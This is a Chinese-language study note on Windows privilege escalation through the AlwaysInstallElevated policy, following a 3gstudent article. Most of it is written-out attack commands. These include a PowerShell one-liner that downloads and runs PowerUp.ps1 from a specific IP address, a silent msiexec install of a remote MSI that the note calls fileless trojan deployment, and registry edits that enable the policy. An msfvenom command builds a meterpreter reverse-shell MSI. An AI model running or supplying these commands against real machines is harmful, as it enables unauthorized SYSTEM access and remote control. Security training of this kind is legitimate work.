AlwaysInstallElevated提权
更新:2020_01_18
前言:自己在学习3gstudent的AlwaysInstallElevated提权的文章中,他说过由于Metasploit的某些原因会导致权限不够,所以自己就尝试去复现其他的两种方法了,详细的文章参考最底下
介绍:利用AlwaysInstallElevated提权是一个2017年公开的技术,Metasploit和PowerUp都提供了利用方法
MSIEXEC: 系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI)
并且MSIEXEC也可以实现无落地文件的方式进行木马上线的方式,当然低权限用不了,因为msi文件需要可信的证书才能远程利用AlwaysInstallElevated提权
然后高权限是可以进行远程上线的,这里就用写的一个添加用户进行测试,执行msiexec /q /i http://120.79.66.58/WinAddUser.msi
,高权限是可以成功运行的!
当作一种白名单无落地文件上线的一种方法
利用过程:
1、进行检测AlwaysInstallElevated是否启用,AlwaysInstallElevated是一个组策略配置,如果启用,那么将允许普通用户以SYSTEM权限运行安装文件(msi)
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"
要改的有两处,这里只是其中的一处地方,对应的下面注册表修改的时候也要修改两处
2、发现没有启用,那么就先用高权限执行如下,进行注册表写入启动AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
3、msfvenom生成:msfvenom -p windows/meterpreter/reverse_tcp -f msi > test.msi
,然后在受害者机器上运行msiexec /q /i exec.msi
,/i参数用来表示安装操作,/q参数用来隐藏安装界面
运行发现是普通的权限,并非是system权限,这个就是metasploit的问题了,3gstudent猜测说是使用Metasploit生成的msi文件在运行时没有要求提升权限,所以无法利用AlwaysInstallElevated提权
4、用Msi Wrapper生成msi文件进行提权:
跟着3gstudent来将exe转化为msi文件,该程序的作用是调用windows api来添加一个用户,以system来运行这个文件,那常理应该是可以的
结果如下图:
注意:
1、c:\windows\installer\xxxx.tmp
和c:\windows\installer\xxxx.msi
,xxxx.msi就是你运行当前msi的文件,它会保存在c:\windows\installer\
下,当运行完关闭cmd之后,会留下一个xxxx.tmp,记录了安装操作,然后C:\Users\dell\AppData\Local\Temp
,缓存中也会保存xxxx.log日志文件
2、不可以是域用户,如果是的话还需要请求域控制器通过才可以进行
3、msf中利用的模块为exploit/windows/local/always_install_elevated
学习文章:https://3gstudent.github.io/3gstudent.github.io/利用AlwaysInstallElevated提权的测试分析/